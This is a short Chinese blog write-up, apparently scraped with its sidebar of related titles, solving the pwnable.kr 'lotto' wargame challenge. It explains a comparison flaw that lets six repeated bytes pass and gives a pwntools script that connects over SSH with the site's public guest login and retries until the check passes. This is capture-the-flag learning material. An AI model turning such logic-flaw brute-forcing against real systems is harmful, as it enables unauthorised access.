pwnable之lotto
来源:互联网 发布:孔雀公主牙膏知乎 编辑:程序博客网 时间:2024/06/07 11:41
ssh登录后查看源代码发现,程序对比6个1到45的随机数和6个输入的数,出现6次相等就成功,但是程序比对了36次所以输入6个同样的数字如果随机的6个中只有一个对也可以成立6次相等的条件
由于我人品貌似比较衰,试了好几次都没成立,吓得我还查了遍别人的题解,所以最后没办法跑了个脚本
from pwn import *
shell_addr = 0x080484eb
s = ssh(host='pwnable.kr',
port=2222,
user='lotto',
password='guest'
)
p = s.process("./lotto")
c="bad luck.."
print p.recv(1024)
while(c.find("bad luck..")!=-1):
p.send("1\n")
print p.recvuntil("Submit your 6 lotto bytes : ")
p.send("######\n")
c=p.recv(1024)
print "111"+c+"222"
p.interactive()
阅读全文
0 0
- pwnable.kr之lotto
- pwnable之lotto
- pwnable.kr---lotto
- pwnable之coin1
- pwnable之blackjack
- pwnable.kr 之fd
- pwnable.kr之bof
- pwnable.kr之flag
- pwnable.kr之passcode
- pwnable.kr之random
- pwnable.kr之shellshock
- pwnable.kr之mistake
- pwnable.kr之input
- pwnable.kr之cmd1
- pwnable.kr之blackjack
- pwnable.kr之uaf
- pwnable之input
- pwnable.kr之cmd2
- httpd(apache)服务器--知识总结(1)
- springMVC问题积累(1)
- 52张扑克牌分法
- MySQL---数据类型和表的基本操作
- IDEA创建maven web项目
- pwnable之lotto
- mybatis总结(1)
- 程序员必知8大排序3大查找(一)
- Java中ThreadLocal模拟和解释
- C语言 指针 详解 二 C语言指针变量的运算
- div中的img和div顶部有一小段距离的处理方法
- 杭电1205_吃糖果
- mybatis问题积累(1)
- 剑指offer(1)